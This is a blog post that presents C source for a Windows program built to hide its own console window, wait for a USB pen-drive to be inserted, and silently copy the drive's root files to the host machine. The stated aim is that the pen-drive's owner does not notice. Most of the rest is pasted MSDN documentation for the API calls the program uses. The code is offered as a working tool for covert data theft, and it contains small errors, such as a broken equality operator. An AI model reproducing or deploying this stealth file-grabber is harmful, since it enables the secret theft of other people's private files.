Finally to some hardcore technical stuff. This time its a pretty basic hack for USB based storage devices like pen-drives etc. This is its description covering theory and code. This application was written purely from scratch, thanks to MSDN for the wonderful documentation it provides. It was written in 3 hours by me and my friend (who i cannot disclose on request) on Tuesday, February 25, 2008. So lets get started, this is gonna be my longest post, i'm getting lazy already.
P.S - Before you proceed, i hope you have sufficient knowledge of C / Windows API / Headers etc to figure out the obvious stuff that i won't explain.
Mission Objective:
- The purpose for creating this utility was to silently pull out files from the root folder of the pen-drive inserted in the host computer running the utility, without the owner of the pen-drive knowing that such a copy operation was going on.
No window pop-ups are seen, no virus alerts, basically nothing. Result - You manage to acquire atleast some data from the targeted USB disk.
Necessity is the mother of Invention:
Why did we build such an app ? Well, I'll leave you to figure that one out.
Usage:
Execute the application on host machine. The app waits in background for any USB mass storage device to be inserted.Once it detects a mass storage device it immediately starts pulling out files from the root drive to a specific location on the host machine.
The Code - Highly Commented - Highly Effective.
The File - UsbDetectCopy.c
Development Environment - Microsoft Visual Studio 2005
API - Win 32
OS - Windows XP
Level - Intermediate - Advanced
DISCLAIMER - No guarantees provided in any way, shape or form for this software. use it at your own risk.
Known Bugs - Won't work if USB drive has files only in folders (This will cause an error which user can observe). Atleast one file should be outside all the folders.
CREATED AT - International Institute of Information Technology, Embedded Systems Lab (I2IT)
AUTHORS - Rishi F. & XYZ REFERENCES - MSDN
Copyright (Ahem...) - For distribution without permission from I2IT. Free for non-commercial and commercial use. Please let us know if you have any bug fixes or enhancements.
The Code:
Include windows.h, shellapi.h, strings.h, malloc.h, stdio.h
int main()
{
char *title = NULL; // to hold title of console screen
char *rcvdDriveBuff = NULL; // to store the available drives
char *UsbDriveLetter = NULL; // to store: USB Drive Letter to be hacked
int rcvdDriveBuffLen = 0; // to store rcvdDriveBuff ka length
//general purpose temporary variables
int driveType = 0;
int error = 0;
int x = 0;
//allocate memory
rcvdDriveBuff = (char *)malloc(sizeof(char) * 100);
title = (char *)malloc(sizeof(char) * 500);
// Contains information that the SHFileOperation function uses
//to perform file operations.
SHFILEOPSTRUCT fileop = { 0 };
// the application is gonna be a console app.
// So get title of console window
GetConsoleTitleA( title, 500 );
// get HWND of console, based on its title
HWND hwndConsole = FindWindowA( NULL, title);
// Hides our console window and activates another window.
ShowWindow(hwndConsole, SW_HIDE);
// we loop here till we detect a USB MASS STORAGE DRIVE
while(driveType != 2)
{
rcvdDriveBuffLen = GetLogicalDriveStrings(100, rcvdDriveBuff);
for (x = 0; x != rcvdDriveBuffLen / 4; x++)
{
driveType = GetDriveType(&rcvdDriveBuff[x * 4]);
if(driveType = = 2) break;
}
Sleep(2000); // update to resolve problem of 50% CPU resource
}
// Get the USB DRIVE letter in variable --> UsbDriveLetter
UsbDriveLetter = &rcvdDriveBuff[x * 4];
// additional null needed
strcat(UsbDriveLetter, "*.*\0");
// HWND of console window
// (needed otherwise FOF_silent option wont work)
fileop.hwnd = hwndConsole;
// Copy the files specified in the pFrom member to the
// location specified in the pTo member.
fileop.wFunc = FO_COPY;
// additional null added by strcat above.
fileop.pFrom = UsbDriveLetter;
// additional null needed
fileop.pTo = "C:\\MyDir\0";
/* File operation Flags
FOF_SILENT
- Do not display a progress dialog box.
FOF_ALLOWUNDO
- Preserve undo information, if possible. Operations can be undone
only from the same process that performed the original operation.
If pFrom does not contain fully qualified path and file names,
this flag is ignored.
FOF_NOCONFIRMATION - Respond with "Yes to All" for any dialog
box that is displayed.
FOF_NOCONFIRMMKDIR - Do not confirm the creation of a new
directory if the operation requires one to be created.
*/
fileop.fFlags = FOF_SILENT | FOF_ALLOWUNDO | FOF_NOCONFIRMATION |
FOF_NOCONFIRMMKDIR;
if (!SHFileOperation(&fileop))
{
printf("ERROR"); // error condition
}
//Added for testing. Comment out for true stealth operation.
ShowWindow(hwndConsole, SW_SHOWMAXIMIZED);
printf("Done!!");
free(rcvdDriveBuff);
free(title);
return 0;
}
API Description
***************************************************************
GetLogicalDriveStrings Function
***************************************************************
Fills a buffer with strings that specify valid drives in the system.
DWORD WINAPI GetLogicalDriveStrings(
__in DWORD nBufferLength,
__out LPTSTR lpBuffer
);
Parameters
nBufferLength
The maximum size of the buffer pointed to by lpBuffer, in TCHARs. This size does not include the terminating null character. If this parameter is zero, lpBuffer is not used.
lpBuffer
A pointer to a buffer that receives a series of null-terminated strings, one for each valid drive in the system, plus with an additional null character Each string is a device name.
Return Value
If the function succeeds, the return value is the length, in characters, of the strings copied to the buffer, not including the terminating null character. Note that an ANSI-ASCII null character uses one byte, but a Unicode null character uses two bytes.
If the buffer is not large enough, the return value is greater than nBufferLength. It is the size of the buffer required to hold the drive strings.
If the function fails, the return value is zero. To get extended error information, use the GetLastError function.
Remarks
Each string in the buffer may be used wherever a root directory is required, such as for the GetDriveType and GetDiskFreeSpace functions.
This function returns a concatenation of the drives in the Global and Local MS-DOS Device namespaces. If a drive exists in both namespaces,this function will return the entry in the Local MS-DOS Device namespace. For more information, see Defining an MS DOS Device Name.
***************************************************************
GetDriveType Function
***************************************************************
Determines whether a disk drive is a removable, fixed, CD-ROM, RAM disk,
or network drive.
UINT WINAPI GetDriveType(
__in_opt LPCTSTR lpRootPathName
);
Parameters
lpRootPathName
The root directory for the drive. A trailing backslash is required. If this parameter is NULL,the function uses the root of the current directory.
Return Value
The return value specifies the type of drive, which can be one of the following values.
Return code/value Description
DRIVE_UNKNOWN0 --> The drive type cannot be determined.
DRIVE_NO_ROOT_DIR
1 --> The root path is invalid; for example, there is no volume is mounted at the path.
DRIVE_REMOVABLE
2 --> The drive has removable media; for example, a floppy drive, thumb drive, or flash card reader.
DRIVE_FIXED
3 --> The drive has fixed media; for example, a hard drive or flash drive.
DRIVE_REMOTE
4 --> The drive is a remote (network) drive.
DRIVE_CDROM
5 --> The drive is a CD-ROM drive.
DRIVE_RAMDISK
6 --> The drive is a RAM disk.
***************************************************************
GetLogicalDrives Function
***************************************************************
Retrieves a bitmask representing the currently available disk drives.
DWORD WINAPI GetLogicalDrives(void);
Parameters
This function has no parameters.
Return Value
If the function succeeds, the return value is a bitmask representing the currently available disk drives. Bit position 0 (the least-significant bit) is drive A, bit position 1 is drive B, bit position 2 is drive C, and so on. If the function fails, the return value is zero. To get extended error information, call GetLastError.
Remarks
This function returns a concatenation of the logical disks in the Global and Local MS-DOS Device namespaces. If a logical disk exists in both namespaces, this function will return the entry in the Local MS-DOS Devices namespace.For more information, see Defining an MS DOS Device Name.
***************************************************************
GetConsoleTitle
***************************************************************
The GetConsoleTitle function retrieves the title bar string for the current console window.
DWORD GetConsoleTitle(
LPTSTR lpConsoleTitle,
DWORD nSize
);
Parameters
lpConsoleTitle
[out] Pointer to a buffer that receives a null-terminated string containing the text that appears in the title bar of the console window. The total size of the buffer required will be less than 64K.
nSize
[in] Size of the buffer pointed to by the lpConsoleTitle parameter, in TCHARs.
Return Values
If the function succeeds, the return value is the length of the string copied to the buffer, in TCHARs. If the buffer is not large enough to store the title, the return value is zero and GetLastError returns ERROR_SUCCESS.
If the function fails, the return value is zero and GetLastError returns the error code.
Remarks
To set the title bar string for a console window, use the SetConsoleTitle function. This function uses either Unicode characters or 8-bit characters from the console's current code page. The console's code page defaults initially to the system's OEM code page. To change the console's code page, use the SetConsoleCP or SetConsoleOutputCP functions, or use the chcp or mode con cp select = commands.
***************************************************************
FindWindow
***************************************************************
Returns the top-level CWnd whose window class is given by lpszClassName and
whose window name, or title, is given by lpszWindowName.
static CWnd* PASCAL FindWindow(
LPCTSTR lpszClassName,
LPCTSTR lpszWindowName
);
Parameters
lpszClassName
Points to a null-terminated string that specifies the window's class name (a WNDCLASS structure). If lpClassName is NULL, all class names match.
lpszWindowName
Points to a null-terminated string that specifies the window name (the window's title). If lpWindowName is NULL, all window names match.
Return Value
Identifies the window that has the specified class name and window name. It is NULL if no such window is found.
The CWnd* may be temporary and should not be stored for later use.
Remarks
This function does not search child windows.
***************************************************************
ShowWindow Function
***************************************************************
The ShowWindow function sets the specified window's show state.
Syntax
BOOL ShowWindow( HWND hWnd,
int nCmdShow
);
Parameters
hWnd
[in] Handle to the window.
nCmdShow
[in] Specifies how the window is to be shown. This parameter is ignored the first time an application calls ShowWindow, if the program that launched the application provides a STARTUPINFO structure. Otherwise, the first time ShowWindow is called, the value should be the value obtained by the WinMain function in its nCmdShow parameter. In subsequent calls, this parameter can be one of the following values.
SW_FORCEMINIMIZE
Windows 2000/XP: Minimizes a window, even if the thread that owns the window is not responding. This flag should only be used when minimizing windows from a different thread.
SW_HIDE
Hides the window and activates another window.
SW_MAXIMIZE
Maximizes the specified window.
SW_MINIMIZE
Minimizes the specified window and activates the next top-level window in the Z order.
SW_RESTORE
Activates and displays the window. If the window is minimized or maximized, the system restores it to its original size and position. An application should specify this flag when restoring a minimized window.
SW_SHOW
Activates the window and displays it in its current size and position.
SW_SHOWDEFAULT
Sets the show state based on the SW_ value specified in the STARTUPINFO structure passed to the CreateProcess function by the program that started the application.
SW_SHOWMAXIMIZED
Activates the window and displays it as a maximized window.
SW_SHOWMINIMIZED
Activates the window and displays it as a minimized window.
SW_SHOWMINNOACTIVE
Displays the window as a minimized window. This value is similar to SW_SHOWMINIMIZED, except the window is not activated.
SW_SHOWNA
Displays the window in its current size and position. This value is similar to SW_SHOW, except the window is not activated.
SW_SHOWNOACTIVATE
Displays a window in its most recent size and position. This value is similar to SW_SHOWNORMAL, except the window is not actived.
SW_SHOWNORMAL
Activates and displays a window. If the window is minimized or maximized, the system restores it to its original size and position. An application should specify this flag when displaying the window for the first time.
Return Value
If the window was previously visible, the return value is nonzero.
If the window was previously hidden, the return value is zero.
Remarks
To perform certain special effects when showing or hiding a window, use AnimateWindow
The first time an application calls ShowWindow, it should use the WinMain function's nCmdShow parameter as its nCmdShow parameter. Subsequent calls to ShowWindow must use one of the values in the given list, instead of the one specified by the WinMain function's nCmdShow parameter.
As noted in the discussion of the nCmdShow parameter, the nCmdShow value is ignored in the first call to ShowWindow if the program that launched the application specifies startup information in the structure. In this case, ShowWindow uses the information specified in the STARTUPINFO structure to show the window. On subsequent calls, the application must call ShowWindow with nCmdShow set to SW_SHOWDEFAULT to use the startup information provided by the program that launched the application. This behavior is designed for the following situations:
- Applications create their main window by calling CreateWindow with the
WS_VISIBLE flag set.
- Applications create their main window by calling CreateWindow with the
WS_VISIBLE flag cleared, and later call ShowWindow with the SW_SHOW flag
set to make it visible.
***************************************************************
SHFILEOPSTRUCT Structure
***************************************************************
Contains information that the SHFileOperation function uses to perform file operations.
Syntax
typedef struct _SHFILEOPSTRUCT {
HWND hwnd;
UINT wFunc;
LPCTSTR pFrom;
LPCTSTR pTo;
FILEOP_FLAGS fFlags;
BOOL fAnyOperationsAborted;
LPVOID hNameMappings;
LPCTSTR lpszProgressTitle;
} SHFILEOPSTRUCT, *LPSHFILEOPSTRUCT;
Members
hwnd
Window handle to the dialog box to display information about the status of
wFuncValue that indicates which operation to perform. This member can be one of the following values.
FO_COPY
Copy the files specified in the pFrom member to the location specified in the pTo member.
FO_DELETE
Delete the files specified in pFrom.
FO_MOVE
Move the files specified in pFrom to the location specified in pTo.
FO_RENAME
Rename the file specified in pFrom. You cannot use this flag to rename multiple files with a single function call. Use FO_MOVE instead.
pFrom
Address of a buffer to specify one or more source file names. These names must be fully qualified paths. Standard Microsoft MS-DOS wild cards, such as "*", are permitted in the file-name position. Although this member is declared as a null-terminated string, it is used as a buffer to hold multiple file names. Each file name must be terminated by a single NULL character. An additional NULL character must be appended to the end of the final name to indicate the end of pFrom.
pToAddress of a buffer to contain the name of the destination file or directory. This parameter must be set to NULL if it is not used. Like pFrom, the pTo member is also a double-null terminated string and is handled in much the same way. However, pTo must meet the following specifications.
Wildcard characters are not supported.
Copy and Move operations can specify destination directories that do not exist and the system will attempt to create them. The system normally displays a dialog box to ask the user if they want to create the new directory. To uppress this dialog box and have the directories created silently, set the FOF_NOCONFIRMMKDIR flag in fFlags.
For Copy and Move operations, the buffer can contain multiple destination file names if the fFlags member specifies FOF_MULTIDESTFILES. Pack multiple names into the string in the same way as for pFrom.
Use only fully-qualified paths. Using relative paths will have unpredictable results.
fFlags
Flags that control the file operation. This member can take a combination of the following flags.
FOF_ALLOWUNDO
Preserve undo information, if possible. Operations can be undone only from the same process that performed the original operation. If pFrom does not contain fully qualified path and file names, this flag is ignored.
FOF_CONFIRMMOUSE Not used.
FOF_FILESONLY
Perform the operation on files only if a wildcard file name (*.*) is specified.
FOF_MULTIDESTFILES
The pTo member specifies multiple destination files (one for each source file) rather than one directory where all source files are to be deposited.
FOF_NOCONFIRMATION
Respond with "Yes to All" for any dialog box that is displayed.
FOF_NOCONFIRMMKDIR
Do not confirm the creation of a new directory if the operation requires one to be created.
FOF_NO_CONNECTED_ELEMENTS
Version 5.0. Do not move connected files as a group. Only move the specified files.
FOF_NOCOPYSECURITYATTRIBS
Version 4.71. Do not copy the security attributes of the file.
FOF_NOERRORUI
Do not display a user interface if an error occurs.
FOF_NORECURSION
Only operate in the local directory. Don't operate recursively into subdirectories.
FOF_NORECURSEREPARSE
Treat reparse points as objects, not containers. You must set _WIN32_WINNT to 5.01 or later to use this flag. See Shell and Common Controls Versions
for further discussion of versioning.
FOF_RENAMEONCOLLISION
Give the file being operated on a new name in a move, copy, or rename operation if a file with the target name already exists.
FOF_SILENT
Do not display a progress dialog box.
FOF_SIMPLEPROGRESS
Display a progress dialog box but do not show the file names.
FOF_WANTMAPPINGHANDLE
If FOF_RENAMEONCOLLISION is specified and any files were renamed, assign a name mapping object containing their old and new names to the hNameMappings member.
FOF_WANTNUKEWARNING
Version 5.0. Send a warning if a file is being destroyed during a delete operation rather than recycled. This flag partially overrides
FOF_NOCONFIRMATION.
fAnyOperationsAborted Value that receives TRUE if the user aborted any file operations before they were completed, or FALSE otherwise.
hNameMappings
A handle to a name mapping object containing the old and new names of the renamed files. This member is used only if the fFlags member includes the FOF_WANTMAPPINGHANDLE flag. See Remarks for more details.
lpszProgressTitleAddress of a string to use as the title of a progress dialog box. This member is used only if fFlags includes the FOF_SIMPLEPROGRESS flag.
Remarks
If the pFrom or pTo members are unqualified names, the current directories are taken from the global current drive and directory settings as managed by the GetCurrentDirectory and SetCurrentDirectory functions.
If pFrom is set to a file name, deleting the file with FO_DELETE will not move it to the Recycle Bin, even if the FOF_ALLOWUNDO flag is set. You must use a full path.
There are two versions of this structure, an ANSI version (SHFILEOPSTRUCTA) mand a Unicode version (SHFILEOPSTRUCTW). The Unicode version is identical to the ANSI version, except that wide character strings (LPCWSTR) are used in place of ANSI character strings (LPCSTR). On Microsoft Windows 98 and earlier, only the ANSI version is supported. On Microsoft Windows NT 4.0 and later, both the ANSI and Unicode versions of this structure are supported. SHFILEOPSTRUCTW and SHFILEOPTSTRUCTA should never be used directly; the appropriate structure is redefined as FILEOPSTRUCT by the precompiler depending on whether the application is compiled for ANSI or Unicode. SHNAMEMAPPING has similar ANSI and Unicode versions. For ANSI applications, hNameMappings points to an int followed by an array of ANSI SHNAMEMAPPING structures. For Unicode applications, hNameMappings points to an int followed by an array of Unicode SHNAMEMAPPING structures. However, on Windows NT 4.0 and later, SHFileOperation always returns a handle to a Unicode set of SHNAMEMAPPING structures. If you want applications to be functional with all versions of Windows, the application must employ conditional code to deal with name mappings.
***************************************************************
SHFileOperation Function
***************************************************************
Copies, moves, renames, or deletes a file system object.
Syntax
int SHFileOperation( LPSHFILEOPSTRUCT lpFileOp
);
Parameters
lpFileOp
[in] Pointer to an SHFILEOPSTRUCT structure that contains information this function needs to carry out the specified operation. This parameter must contain a valid value that is not NULL. You are responsibile for validating the value. If you do not validate it, you will experience unexpected results.
Return Value
Returns zero if successful, or nonzero otherwise.
Remarks
You should use fully-qualified path names with this function. Using it with relative path names is not thread safe.
With two exceptions, you cannot use SHFileOperation to move special folders from a local drive to a remote computer by specifying a network path. The exceptions are the My Documents and My Pictures folders (CSIDL_PERSONAL and CSIDL_MYPICTURES, respectively).
When used to delete a file, SHFileOperation permanently deletes the file unless you set the FOF_ALLOWUNDO flag in the fFlags member of the SHFILEOPSTRUCT structure pointed to by lpFileOp. Setting that flag sends the file to the Recycle Bin. If you want to delete a file and guarantee that it is not placed in the Recycle Bin, use DeleteFile.
If a copy callback handler is exposed and registered, SHFileOperation calls it unless you set a flag such as FOF_NOCONFIRMATION in the fFlags member of the structure pointed to by lpFileOp. See ICopyHook::CopyCallback for details on implementing copy callback handlers.
File deletion is recursive unless you set the FOF_NORECURSION flag in lpFileOp.
No comments:
Post a Comment